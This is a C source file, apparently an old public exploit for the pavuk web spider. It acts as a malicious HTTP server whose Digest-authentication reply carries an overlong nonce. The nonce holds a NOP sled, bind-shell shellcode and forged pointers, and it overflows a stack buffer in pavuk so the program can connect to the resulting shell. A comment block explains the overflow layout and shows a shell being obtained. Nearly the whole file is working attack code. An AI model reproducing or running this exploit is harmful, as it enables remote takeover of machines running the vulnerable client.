/* * exploit for pavuk web spider - infamous42md AT hotpop DOT com * * shouts to mitakeet, skullandcircle, and thanks to matt murphy for making me * realize a n00bish mistake i made. * * this exploit probably deserves a bit of an explanation as it was not exactly * straight forward. the vulnerable code looks like this, with some comments * inlined by me: */ #if 0 char *http_get_digest_auth_str(auth_digest, method, user, pass, urlp, buf) http_digest_info *auth_digest; char *method; char *user; char *pass; url *urlp; char *buf; { /* this is the buffer we bitch slap */ char pom[1024]; char *a1,*a2,*a3; char *d = url_encode_str(urlp->p.http.document, URL_PATH_UNSAFE); /* not yet */ sprintf(pom, "%s:%s:%s", user, auth_digest->realm, pass); a1 = _md5(pom); sprintf(pom, "%s:%s", method, d); /* this turns into a 32 byte string */ a2 = _md5(pom); /* * this is the point that we overflow the buffer. we control * auth_digest->nonce, and that is where all of our evil code go. but crap, * look, the string a2 gets appended to the nonce buffer, that means * whatever lives above the saved EIP we overwrite is going to get fuxxored * to. that means the arguments to the function get trashed, usually not a * problem, but look below at the following sprintf(). those variables get * used again, so we have to restore them to a sane state. */ sprintf(pom, "%s:%s:%s", a1, auth_digest->nonce, a2); a3 = _md5(pom); /* crap */ sprintf(buf, "Digest username=\"%s\", realm=\"%s\", nonce=\"%s\", uri=\"%s\", response=\"%s\"" , user, auth_digest->realm, auth_digest->nonce, d, a3); /* more crap, we need to repair nearly all of the parameters */ if (auth_digest->opaque) { strcat(buf, ", opaque=\""); strcat(buf, auth_digest->opaque); strcat(buf, "\""); } _free(d); _free(a1); _free(a2); _free(a3); return buf; } #endif /* * so u can see we can't just overflow and go. we need to recreate at least * the auth_digest pointer, the user pointer, and the buf pointer. so, the * strategy is as follows: * * + overwrite auth_digest to point into the buffer we control * + where we point auth_digest must also contain valid pointers as they are * used as the strings that get printed into buffer. * + so we point those pointers towards the very end of our buffer. the * strings they point to should not be so long. our buffer is NULL termed so if * they point towards the end of it, we know they'll end at a set point. * + we set the user pointer to the same place as the auth_digest pointer. * + we set buf to point past the end of our buffer, at some higher address. * that is where all the other strings get printed to in sprintf() and * strcat(). * + and that's about it. so our buffer looks like this: * * <-------------------| * ALIGN NOPS SHELL STRING_PTRS RETADDR USER_AND_DIGEST_PTRS BUF_PTRS * |----------------------------^ |------^ * * the only arg you pass is the base address of the buffer that we overwrite, * which lays somewhere on the stack. note this is not the location of our * original buffer, but the location of the pom variable from above func. and * you need to be root as we bind to port 80 and pretend to be a webserver. * * [root@xxxxxxxxxxxxxxxx] ./ps * Usage: ./ps <base of nonce buffer> * * [root@xxxxxxxxxxxxxxxx] ./ps 0xbfffdb34 * got a shell * * id * uid=1000(n00b) gid=100(users) groups=100(users) * * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #define die(x) do{ perror((x)); exit(1); }while(0) #define SHELL_PORT 7000 #define HTTP_PORT 80 #define BS 0x1000 /* probably don't need all this */ char *reply = "HTTP/1.1 401 Authorization Required\n" "Date: Sat, 07 Aug 2004 02:10:07 GMT\n" "Server: Apache/1.3.27 (Unix) PHP/4.3.1\n" "WWW-Authenticate: Digest realm=\"time2die\" nonce=\"%s\"\n" "Status: 401 Not Authorized\n" "Connection: close\n" "Content-Type: text/html\r\n\r\n"; /* call them */ char sc[] = "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; int conn(struct sockaddr_in *sap) { int sock; sock = socket(AF_INET, SOCK_STREAM, 0); if(sock < 0) die("socket"); if(connect(sock, (struct sockaddr *)sap, sizeof(*sap)) < 0) die("connect"); return sock; } void shell(struct sockaddr_in *sap) { int sock = 0, l = 0; char buf[BS]; fd_set rfds; sap->sin_port = htons(SHELL_PORT); sock = conn(sap); printf("got a shell\n\n"); FD_ZERO(&rfds); while (1) { FD_SET(STDIN_FILENO, &rfds); FD_SET(sock, &rfds); if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1) die("select"); if (FD_ISSET(STDIN_FILENO, &rfds)) { if ((l = read(0, buf, BS)) <= 0) die("\n - Connection closed by user\n"); if (write(sock, buf, l) < 1) die("write"); } if (FD_ISSET(sock, &rfds)) { l = read(sock, buf, sizeof(buf)); if (l == 0) die("\n - Connection terminated.\n"); else if (l < 0) die("\n - Read failure\n"); if (write(1, buf, l) < 1) die("write"); } } } int do_listen() { int sock = 0, on = 1; struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(HTTP_PORT); sa.sin_addr.s_addr = INADDR_ANY; sock = socket(AF_INET, SOCK_STREAM, 0); if(sock < 0) die("socket"); if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) die("setsockopt"); if(bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind"); if(listen(sock, 1) < 0) die("listen"); return sock; } void sploit(int sock, struct sockaddr_in *sap, u_long nbase) { int len = 0, x; char buf[BS], evil_nonce[BS]; u_long retaddr, ptrs_to_struct, fake_structs, new_buf; memset(buf, 0, BS), memset(evil_nonce, 0, BS); /* read the req */ if(recv(sock, buf, BS, 0) < 0) die("read"); /* build the buffer */ #define ALIGN 3 #define NNOPS 100 #define SHELL_LEN 132 #define PTRS_OFFSET (ALIGN+NNOPS+SHELL_LEN) /* the string pointers */ #define PTRS_LEN 500 #define RET_OFFSET (PTRS_OFFSET+PTRS_LEN) #define RET_LEN 288 #define PPTRS_OFFSET (RET_OFFSET+RET_LEN) /* the pointers to pointers */ #define PPTRS_LEN 20 #define BUF_OFFSET (PPTRS_OFFSET+PPTRS_LEN) /* the pointer to new buf */ #define BUF_LEN 20 #define TOTAL_LEN (BUF_OFFSET+BUF_LEN) #define PTRS_LOC 1000 /* where the strings point to */ #define PPTRS_LOC 300 /* offset from base to the string pointers */ #define RET_LOC 50 /* offset of NOP buffer */ fake_structs = nbase + PTRS_LOC; retaddr = nbase + RET_LOC; ptrs_to_struct = nbase + PPTRS_LOC; new_buf = nbase + TOTAL_LEN*2; /* the NOPS and shellcode */ memset(evil_nonce, 'A', ALIGN); memset(evil_nonce+ALIGN, 0x90, BS); memcpy(evil_nonce+NNOPS+ALIGN, sc, SHELL_LEN); /* the fake pointers point towards end of buffer */ for(x = 0; x < PTRS_LEN-3; x += sizeof(fake_structs)) memcpy(evil_nonce+PTRS_OFFSET+x, &fake_structs, sizeof(fake_structs)); /* the ret addr */ for(x = 0; x < RET_LEN; x += sizeof(retaddr)) memcpy(evil_nonce+RET_OFFSET+x, &retaddr, sizeof(retaddr)); /* the pointers to the fake pointers */ for(x = 0; x < PPTRS_LEN; x+= sizeof(ptrs_to_struct)) memcpy(evil_nonce+PPTRS_OFFSET+x, &ptrs_to_struct, sizeof(ptrs_to_struct)); /* and the new location for buf */ for(x = 0; x < BUF_LEN; x+= sizeof(new_buf)) memcpy(evil_nonce+BUF_OFFSET+x, &new_buf, sizeof(new_buf)); evil_nonce[TOTAL_LEN] = 0; /* fill in HTTP reply */ len = snprintf(buf, BS-1, reply, evil_nonce); /* i dont care what u request, you're getting the sploit */ if(send(sock, buf, len, 0) < 0) die("send"); close(sock); sleep(1); shell(sap); } int main(int argc, char **argv) { int lsock, asock; u_long nbase = 0; struct sockaddr_in sa; pid_t cpid; socklen_t salen; if(argc < 2){ fprintf(stderr, "\tUsage: %s <base of nonce buffer>\n", argv[0]); return EXIT_FAILURE; } sscanf(argv[1], "%lx\n", &nbase); lsock = do_listen(); while(1){ asock = accept(lsock, (struct sockaddr *)&sa, &salen); if( (cpid = fork()) == 0) sploit(asock, &sa, nbase); else if(cpid < 0) die("fork"); close(asock); } return EXIT_SUCCESS; } -- -sean